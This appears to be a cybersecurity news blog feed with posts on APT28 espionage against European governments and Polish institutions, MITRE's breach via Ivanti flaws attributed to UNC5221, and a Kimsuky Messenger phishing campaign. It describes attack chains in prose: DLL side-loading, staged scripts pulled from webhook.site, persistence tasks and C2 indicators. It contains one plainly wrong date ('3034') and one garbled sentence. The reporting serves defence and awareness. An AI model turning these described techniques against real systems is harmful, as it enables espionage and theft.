Microsoft’s Threat Intelligence also warned of Russia-linked cyber-espionage group APT28 actively exploiting the CVE-2023-23397 Outlook flaw to hijack Microsoft Exchange accounts and steal sensitive information.

In October, the French National Agency for the Security of Information Systems ANSSI (Agence Nationale de la sécurité des systèmes d’information) warned that the Russia-linked APT28 group has been targeting multiple French organizations, including government entities, businesses, universities, and research institutes and think tanks.

The French agency noticed that the threat actors used different techniques to avoid detection, including the compromise of monitored low-risk equipment at the target networks’ edge. The Government experts pointed out that in some cases the group did not deploy any backdoor in the compromised systems.

ANSSI observed at least three attack techniques employed by APT28 in the attacks against French organizations:

  • searching for zero-day vulnerabilities [T1212, T1587.004];
  • compromise of routers and personal email accounts [T1584.005, T1586.002];
  • the use of open source tools and online services [T1588.002, T1583.006]. ANSSI investigations confirm that APT28 exploited the Outlook 0-day vulnerability CVE-2023-23397. According to other partners, over this period, the MOA also exploited other vulnerabilities, such as that affecting Microsoft Windows Support Diagnostic Tool (MSDT, CVE-2022-30190, also called Follina) as well as
    than those targeting the Roundcube application (CVE-2020-12641, CVE-2020-35730, CVE-2021-44026).

According to the recent announcement published by the German government, the APT28 campaign targeted government authorities, logistics companies, armaments, the air and space industry, IT services, foundations, and associations in Germany, other European countries, and Ukraine. This group was also responsible for the 2015 cyber attack on the German Bundestag. These actions violate international cyber norms and require particular attention, especially during election years in many countries.

The Czech Ministry of Foreign Affairs also condemned long-term cyber espionage activities by the group APT28. The Ministry’s statement also confirmed that Czech institutions have been targeted by the Russia-linked APT28 exploiting the Microsoft Outlook zero-day from 2023

“Based on information from intelligence services, some Czech institutions have also been the target of cyber attacks exploiting a previously unknown vulnerability in Microsoft Outlook from 2023. The mode of operation and the focus of these attacks matched the profile of the actor APT28.” reads the announcement. “Affected subjects were offered technical recommendations and cooperation to enhance security measures. The actor APT28 has also been the subject to active measures in Czechia as part of the global operation Dying Ember.”

NATO issued similar statements, the Council of the European Union and the governments of the United States and the United Kingdom.

“The European Union and its Member States, together with international partners, strongly condemn the malicious cyber campaign conducted by the Russia-controlled Advanced Persistent Threat Actor 28 (APT28) against Germany and Czechia.” states the Council of the European Union.

“Russia’s pattern of behavior blatantly disregards the Framework for Responsible State Behavior in Cyberspace, as affirmed by all United Nations Member States.  The United States is committed to the security of our allies and partners and upholding the rules-based international order, including in cyberspace.” reads the statement published by the US government. “We call on Russia to stop this malicious activity and abide by its international commitments and obligations.  With the EU and our NATO Allies, we will continue to take action to disrupt Russia’s cyber activities, protect our citizens and foreign partners, and hold malicious actors accountable.”

The APT28 group (aka Fancy Bear, Pawn Storm, Sofacy Group, Sednit, BlueDelta, and STRONTIUM) has been active since at least 2007 and it has targeted governments, militaries, and security organizations worldwide. The group was involved also in the string of attacks that targeted 2016 Presidential election.

The group operates out of military unity 26165 of the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).

Most of the APT28s’ campaigns leveraged spear-phishing and malware-based attacks.

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MITRE attributes the recent attack to China-linked UNC5221

Posted on August 12, 2024 - August 12, 2024 by Maq Verma

MITRE published more details on the recent security breach, including a timeline of the attack and attribution evidence.

MITRE has shared more details on the recent hack, including the new malware involved in the attack and a timeline of the attacker’s activities.

In April 2024, MITRE disclosed a security breach in one of its research and prototyping networks. The security team at the organization promptly launched an investigation, logged out the threat actor, and engaged third-party forensics Incident Response teams to conduct independent analysis in collaboration with internal experts.

According to the MITRE Corporation, a nation-state actor breached its systems in January 2024 by chaining two Ivanti Connect Secure zero-day vulnerabilities (CVE-2023-46805 and CVE-2024-21887).

MITRE spotted a foreign nation-state threat actor probing its Networked Experimentation, Research, and Virtualization Environment (NERVE), used for research and prototyping. The organization immediately started mitigation actions which included taking NERVE offline. The investigation is still ongoing to determine the extent of information involved.

The organization notified authorities and affected parties and is working to restore operational alternatives for collaboration. 

Despite MITRE diligently following industry best practices, implementing vendor recommendations, and complying with government guidance to strengthen, update, and fortify its Ivanti system, they overlooked the lateral movement into their VMware infrastructure.

The organization said that the core enterprise network or partners’ systems were not affected by this incident.

Mitre researchers reported that the indicators of compromise that were observed during the security breach overlap with those Mandiant associated with UNC5221, which is a China-linked APT group.

The state-sponsored hackers first gained initial access to NERVE on December 31, then they deployed the ROOTROT web shell on Internet-facing Ivanti appliances.

On January 4, 2024, the threat actors conducted a reconnaissance on NERVE environment. They accessed vCenter through a compromised Ivanti appliance and communicated with multiple ESXi hosts. The attackers used hijacked credentials to log into several accounts via RDP and accessed user bookmarks and file shares to probe the network.

Then the nation-state actors manipulated VMs to compromise the overall infrastructure.

“The adversary manipulated VMs and established control over the infrastructure. The adversary used compromised administrative credentials, authenticated from an internal NERVE IP address, indicating lateral movement within the NERVE.” reads the update published by Mitre. “They attempted to enable SSH and attempted to destroy one of their own VMs as well as POSTed to /ui/list/export and downloaded a file demonstrating a sophisticated attempt to conceal their presence and maintain persistence within the network.”

On January 7, 3034, the adversary accessed VMs and deployed malicious payloads, including the BRICKSTORM backdoor and a web shell tracked as BEEFLUSH, enabling persistent access and arbitrary command execution.

The hackers relied on SSH manipulation and script execution to maintain control over the compromised systems. Mitre noted attackers exploiting a default VMware account to list drives and generate new VMs, one of which was removed on the same day. BRICKSTORM was discovered in directories with local persistence setups, communicating with designated C2 domains. BEEFLUSH interacted with internal IP addresses, executing dubious scripts and commands from the vCenter server’s /tmp directory

In the following days, the threat actors deployed additional payloads on the target infrastrcuture, including the WIREFIRE (aka GIFTEDVISITOR) web shell, and the BUSHWALK webshell for data exfiltration.

Between mid-February and mid-March, before MITRE discovered the security breach in April, threat actors maintained persistence in the NERVE environment and attempted lateral movement. The organization pointed out that the nation-state actors failed to compromise other resources. 

“Despite unsuccessful attempts to pivot to other resources, the adversary persisted in accessing other virtual environments within Center.” concludes the update that includes malware analysis and Indicators of Compromise for the involved payloads. “The adversary executed a ping command for one of MITRE’s corporate domain controllers and attempted to move laterally into MITRE systems but was unsuccessful.”

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Russia-linked APT28 targets government Polish institutions

Posted on August 12, 2024 - August 12, 2024 by Maq Verma

CERT Polska warns of a large-scale malware campaign against Polish government institutions conducted by Russia-linked APT28.

CERT Polska and CSIRT MON teams issued a warning about a large-scale malware campaign targeting Polish government institutions, allegedly orchestrated by the Russia-linked APT28 group.

The attribution of the attacks to the Russian APT is based on similarities with TTPs employed by APT28 in attacks against Ukrainian entities.

“the CERT Polska (CSIRT NASK) and CSIRT MON teams observed a large-scale malware campaign targeting Polish government institutions.” reads the alert. “Based on technical indicators and similarity to attacks described in the past (e.g. on Ukrainian entities), the campaign can be associated with the APT28 activity set, which is associated with Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GRU).”

The threat actors sent emails designed to pique the recipient’s interest and encourage them to click on a link.

APT28

Upon clicking on the link, the victims are redirected to the domain run.mocky[.]io, which is a free service used by developers to create and test APIs. The domain, in turn, redirects to another legitimate site named webhook[.]site which allows logging all queries to the generated address and configuring responses.

Threat actors in the wild increasingly rely on popular services in the IT community to evade detection and speed up operations.

The attack chain includes the download of a ZIP archive file from webhook[.]site, which contains:

  • a Windows calculator with a changed name, e.g. IMG-238279780.jpg.exe, which pretends to be a photo and is used to trick the recipient into clicking on it,
  • script .bat (hidden file),
  • fake library WindowsCodecs.dll (hidden file).

If the victim runs the file fake image file, which is a harmless calculator, the DLL file is side-loaded to run the batch file.

The BAT script launches the Microsoft Edge browser and loads a base64-encoded page content to download another batch script from webhook.site. Meanwhile, the browser shows photos of a woman in a swimsuit with links to her genuine social media accounts, aiming to appear credible and lower the recipient’s guard. The downloaded file, initially saved as .jpg, is converted to .cmd and executed.

Finally, the code retrieves the final-stage script that gathers information about the compromised host and sends it back.

“This script constitutes the main loop of the program. In the loop for /l %n in () it first waits for 5 minutes, and then, similarly as before, downloads another script using the Microsoft Edge browser and the reference to webhook.site and executes it. This time, the file with the extension .css is downloaded, then its extension is changed to .cmd and launched.” continues the report. “The script we finally received collects only information about the computer (IP address and list of files in selected folders) on which they were launched, and then send them to the C2 server. Probably computers of the victims selected by the attackers receive a different set of the endpoint scripts.”

APT28

The CERT Polska team recommends network administrators to review recent connections to domains like webhook.site and run.mocky.io, as well as their appearance in received emails. These sites are commonly used by programmers, and traffic to them may not indicate infection. If your organization does not utilize these services, it’s suggested to consider blocking these domains on edge devices.

Regardless of whether your organization uses these websites, it’s also advised to filter emails for links to webhook.site and run.mocky.io, as legitimate use of these links in email content is very rare.

Last week, NATO and the European Union condemned cyber espionage operations carried out by the Russia-linked threat actor APT28 (aka “Forest Blizzard”, “Fancybear” or “Strontium”) against European countries.

The Federal Government condemned in the strongest possible terms the long-term espionage campaign conducted by the group APT28 that targeted the Executive Committee of the Social Democratic Party of Germany.

“The Federal Government’s national attribution procedure regarding this campaign has concluded that, for a relatively long period, the cyber actor APT28 used a critical vulnerability in Microsoft Outlook that remained unidentified at the time to compromise numerous email accounts.” reads the announcement published by the German Bundesregierung.

The nation-state actor exploited the zero-day flaw CVE-2023-23397 in attacks against European entities since April 2022. The Russia-linked APT also targeted NATO entities and Ukrainian government agencies.

The Czech Ministry of Foreign Affairs also condemned long-term cyber espionage activities by the group APT28. The Ministry’s statement also confirmed that Czech institutions have been targeted by the Russia-linked APT28 exploiting the Microsoft Outlook zero-day from 2023.

The APT28 group (aka Fancy Bear, Pawn Storm, Sofacy Group, Sednit, BlueDelta, and STRONTIUM) has been active since at least 2007 and it has targeted governments, militaries, and security organizations worldwide. The group was involved also in the string of attacks that targeted 2016 Presidential election.

The group operates out of military unity 26165 of the Russian General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS).

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North Korea-linked Kimsuky APT attack targets victims via Messenger

Posted on August 12, 2024 - August 12, 2024 by Maq Verma

North Korea-linked Kimsuky APT group employs rogue Facebook accounts to target victims via Messenger and deliver malware.

Researchers at Genians Security Center (GSC) identified a new attack strategy by the North Korea-linked Kimsuky APT group and collaborated with the Korea Internet & Security Agency (KISA) for analysis and response. The nation-state actor attack used a fake account posing as a South Korean public official in the North Korean human rights sector. The APT group aimed at connecting with key individuals in North Korean and security-related fields through friend requests and direct messages.

Kimsuky

The attack chain starts with the theft of the identity of a real person in South Korea, then the victims were contacted via Facebook Messenger.    

Threat actors pretended to share private documents they had written with the victims. 

“The initial individual approach is similar to an email-based spear phishing attack strategy. However, the fact that mutual communication and reliability were promoted through Facebook Messenger shows that the boldness of Kimsuky APT attacks is increasing day by day.” reads the report published by GSC. “The Facebook screen used in the actual attack has a background photo that appears to have been taken at a public institution. Threat actors disguised as public officials try to win the favor of their targets by pretending to share private documents they have written.”

The messages included a link to a decoy document hosted on OneDrive. The file is a Microsoft Common Console document that masquerades as an essay or content related to a trilateral summit between Japan, South Korea, and the U.S. One of the decoy documents (‘NZZ_Interview_Kohei Yamamoto.msc’) employed in the attacks was uploaded to the VirusTotal from Japan on April 5, 2024.

The malware had zero detection rate on VT at the upload time.

The experts speculate the APT group was targeting people in Japan and South Korea.

“This is the first time that a suspected attack against Japan was first observed, and then a variant was detected in Korea shortly after.” reads the analysis. “And if you compare the two malicious file execution screens, you can see the same pattern. Although the file name leading to execution is different, both used the name ‘Security Mode’.”

Upon launching the MSC file and allowing it to open it using Microsoft Management Console (MMC), victims are displayed a console screen containing a Word document. If the victims launch it the multi-stage attack chain starts.

The malicious file, named “Console Root task window ‘Security Mode’,” hid certain window styles and tabs. It misled users by labeling a task as “Open” with a description “My_Essay.docx,” making it appear as a document execution screen. Clicking “Open” triggers a malicious command. This command line involves ‘cmd.exe’ with various parameters and attempts to connect to the C2 host ‘brandwizer.co[.]in,’ registered by Whiteserver hosting in India and linked to the IP address ‘5.9.123.217’ in Germany.

The malware maintains persistence by registering a scheduled task named ‘OneDriveUpdate,’ which repeats every 41 minutes indefinitely. This interval is consistent with the timing used in previous Kimsuky group campaigns, such as ‘BabyShark‘ and ‘ReconShark.’

The malware gathered information and exfiltrated it to the C2 server, it can also harvest IP addresses, User-Agent strings, and timestamp information from the HTTP requests. The malware can also drop additional payloads on the infected machines.

“Among the APT attacks reported in Korea in the first quarter of this year, the most representative method is spear phishing attack. In addition, the method of combining shortcut (LNK) type malicious files is steadily becoming popular. Although not commonly reported, covert attacks through social media also occur.” concludes the report.

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